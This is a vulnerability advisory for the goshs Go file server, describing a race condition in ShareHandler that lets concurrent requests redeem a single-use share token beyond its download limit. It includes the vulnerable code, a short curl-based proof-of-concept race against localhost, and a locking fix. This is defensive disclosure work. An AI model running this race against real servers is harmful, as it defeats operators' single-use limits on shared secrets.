goshs: Share-link ?token=… redemption races past download limit
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N상세 설명
Share-link ?token=… redemption races past download limit
Ecosystem: Go
Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs)
Affected: <= v2.0.9 (every release that shipped the share-link feature)
Summary
ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served — exceeding the operator's intended cap.
Details
httpserver/handler.go:968-1018:
1fs.sharedLinksMu.RLock() 2entry, ok := fs.SharedLinks[token] 3fs.sharedLinksMu.RUnlock() // <-- released here 4 5if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 { 6 // ...serve file... // <-- whole transfer happens unlocked 7} 8 9fs.sharedLinksMu.Lock() // <-- re-acquired only now10current.Downloaded++11if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }12fs.sharedLinksMu.Unlock()Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.
Proof of concept
1goshs -p 18000 -d /tmp/r -b admin:pw & 2echo data > /tmp/r/f.txt 3 4# operator issues a one-shot share 5SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1") 6TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p') 7 8# attacker races two redemptions 9curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \10curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \11wait12# observed: 200 / 200 (both succeed) -> limit=1 redeemed twiceReproduced 5/5 times in a row on a 2026-era M-series Mac during verification.
Impact
A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.
Suggested fix
Reserve under the write lock before serving — refund only if the serve fails:
1fs.sharedLinksMu.Lock() 2entry, ok := fs.SharedLinks[token] 3if !ok || time.Now().After(entry.Expires) || 4 (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) { 5 fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return 6} 7entry.Downloaded++ 8if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit { 9 delete(fs.SharedLinks, token)10} else {11 fs.SharedLinks[token] = entry12}13fs.sharedLinksMu.Unlock()14// ...serve...Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.
Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.